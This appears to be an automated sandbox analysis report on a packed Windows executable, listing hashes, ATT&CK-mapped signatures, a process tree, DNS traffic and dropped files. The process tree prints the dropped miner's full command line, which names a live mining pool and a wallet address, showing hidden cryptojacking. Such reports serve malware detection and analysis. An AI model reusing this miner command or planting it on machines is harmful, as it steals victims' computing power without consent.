73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 07:59 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4688	b2e.exe
4176	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4176	cpuminer-sse2.exe
4176	cpuminer-sse2.exe
4176	cpuminer-sse2.exe
4176	cpuminer-sse2.exe
4176	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4628-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4688	4628	batexe.exe	88
PID 4628 wrote to memory of 4688	4628	batexe.exe	88
PID 4628 wrote to memory of 4688	4628	batexe.exe	88
PID 4688 wrote to memory of 2664	4688	b2e.exe	89
PID 4688 wrote to memory of 2664	4688	b2e.exe	89
PID 4688 wrote to memory of 2664	4688	b2e.exe	89
PID 2664 wrote to memory of 4176	2664	cmd.exe	92
PID 2664 wrote to memory of 4176	2664	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E995.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4176

Network

DNS

68.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

68.32.126.40.in-addr.arpa

IN PTR

Response
DNS

57.169.31.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

57.169.31.20.in-addr.arpa

IN PTR

Response
DNS

yespower.sea.mine.zpool.ca

cpuminer-sse2.exe

Remote address:

8.8.8.8:53

Request

yespower.sea.mine.zpool.ca

IN A

Response

yespower.sea.mine.zpool.ca

IN A

198.50.168.213
DNS

213.168.50.198.in-addr.arpa

Remote address:

8.8.8.8:53

Request

213.168.50.198.in-addr.arpa

IN PTR

Response

213.168.50.198.in-addr.arpa

IN PTR

minezpoolca
DNS

86.23.85.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

86.23.85.13.in-addr.arpa

IN PTR

Response
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR

Response
DNS

217.135.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

217.135.221.88.in-addr.arpa

IN PTR

Response

217.135.221.88.in-addr.arpa

IN PTR

a88-221-135-217deploystaticakamaitechnologiescom
DNS

193.78.101.95.in-addr.arpa

Remote address:

8.8.8.8:53

Request

193.78.101.95.in-addr.arpa

IN PTR

Response

193.78.101.95.in-addr.arpa

IN PTR

a95-101-78-193deploystaticakamaitechnologiescom
DNS

13.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.227.111.52.in-addr.arpa

IN PTR

Response
DNS

209.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

209.178.17.96.in-addr.arpa

IN PTR

Response

209.178.17.96.in-addr.arpa

IN PTR

a96-17-178-209deploystaticakamaitechnologiescom
DNS

178.223.142.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

178.223.142.52.in-addr.arpa

IN PTR

Response

10.127.0.1:12000

46 B
40 B
1
1
198.50.168.213:6234

yespower.sea.mine.zpool.ca

cpuminer-sse2.exe

8.2kB
9.0kB
85
86
127.0.0.1:60322

cpuminer-sse2.exe
127.0.0.1:60324

cpuminer-sse2.exe

8.8.8.8:53

68.32.126.40.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

68.32.126.40.in-addr.arpa
8.8.8.8:53

57.169.31.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

57.169.31.20.in-addr.arpa
8.8.8.8:53

yespower.sea.mine.zpool.ca

dns

cpuminer-sse2.exe

72 B
88 B
1
1

DNS Request

yespower.sea.mine.zpool.ca

DNS Response

198.50.168.213
8.8.8.8:53

213.168.50.198.in-addr.arpa

dns

73 B
100 B
1
1

DNS Request

213.168.50.198.in-addr.arpa
8.8.8.8:53

86.23.85.13.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

86.23.85.13.in-addr.arpa
8.8.8.8:53

171.39.242.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

171.39.242.20.in-addr.arpa
8.8.8.8:53

217.135.221.88.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

217.135.221.88.in-addr.arpa
8.8.8.8:53

193.78.101.95.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

193.78.101.95.in-addr.arpa
8.8.8.8:53

13.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

13.227.111.52.in-addr.arpa
8.8.8.8:53

209.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

209.178.17.96.in-addr.arpa
8.8.8.8:53

178.223.142.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

178.223.142.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe

Filesize
9.8MB

MD5
7d9aa6fd2b339fee5a698aa87e1f8079

SHA1
fc2a85ac4d2fb171f1b191fd7d1f2fa06a2553a4

SHA256
b32e97ecbad3bb35dfaa8ebddc9091da84ff22cf00eb95b0bc948673c1d5c093

SHA512
5f876acb42a4d730f43cd873cd7fdbb2f9432c5a1dbb8ddcdd929bfc107746705e9b3f0bd6d40d9c67b3999054dad891bd61008c9bbf78ff1a226e9d10ff7336

Download Submit
C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe

Filesize
3.1MB

MD5
bca8c467df66fcb86bc5fd5254816917

SHA1
7e630f497e0f72ed5a6812698ff171ca638f174c

SHA256
cb6746e6dfe3139ec13e762f76e663fa06192d24b0054a384248566d2804c3ab

SHA512
ed1a714e39f36e26eb6b7ff92beb51b5cd6a0440f8ecaf19edc6960b9f015496924080513c4c123adccc075b9c5fa223f5cf2b365a17b8048ed3c50474a99eb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\DD50.tmp\b2e.exe

Filesize
2.6MB

MD5
af5b337806c9711c4246d42d81c8ef06

SHA1
b19082a6375cd3eb3d77ba6d0c61d02b2d6ab11a

SHA256
2365bd7e9e99f8dd57c74edfdcf839568c730112e95e140c204c7b6f5c2fa572

SHA512
7e6b4e1a1c2c535413a11c8abe90f7c98828c6ba8f33a255e09cc9976e6a814ff05097aa28f5cc0d654ded2e2a9435da4406d3129b22a9dbf1fe0153df6148f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\E995.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
196KB

MD5
b8a0738ccab35354fb8afc7df13c9bd4

SHA1
7c95f8533da71573d644e0b3cfe578619a45bc75

SHA256
8b1df5b0d5404777b56f417114b8d82226ba7cdd4802ef176defd155c441a940

SHA512
862ab383bb4b3c1e0475f5e3e66366216db19522e31e97c37a4133866a99830a0b00eba2b8da1ba2bd9c820511faa02ede7cf10ef01548390d6770ab76e3c948

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
eec0eebe19465af3662a71b9a92b589f

SHA1
2568ec712cefe197977bd9ca2280f0cc77a251da

SHA256
e9dc592acdb35289712bcc36500bc531abb1959732b3adcc4dfa7f828caeac9c

SHA512
db53f6f26533dec2e4ab9526720181145cc3b6734bcbc42c39cc5466b13276fcca9fab5c4e4608269d1608ff6f1bba3346ef4c73abfee380ea4f04c6c4f2458b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
37628ab3d96678d193332272ad1e9482

SHA1
c51563f4e5c32828d2a264a11598281259f121b5

SHA256
bc36a1e33edae7081df567ce21c5434d4b46ae41267372a204d7df8814543e45

SHA512
8cdd46892a450b55586bf0151ddb9a49090eddae1b407c2f5e96c6778df56d8ef4807f2ff917a4910acf45f6dc10698c2f934ff74008792a0bce5f72676708ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.8MB

MD5
a8a2ad7eeab2661d0f979602ae2bc801

SHA1
d0711e79057e16e1ba9ebec4f69b1d0f15de62f4

SHA256
1339c4262006e269bcfd9384caa2a237d2292c0d4817721f4197e5a78ca836fc

SHA512
be612a8849edab01884c237a24ff38bcb7c84c9201f2ad6a87ccbb314ea586ec049b171261d92fed2360866b11de6db98571f4e67b69c162b8e3321f7b2b66c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4176-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4176-45-0x0000000055A70000-0x0000000055B08000-memory.dmp

Filesize
608KB

Download
memory/4176-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4176-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4176-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4176-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4688-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4688-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.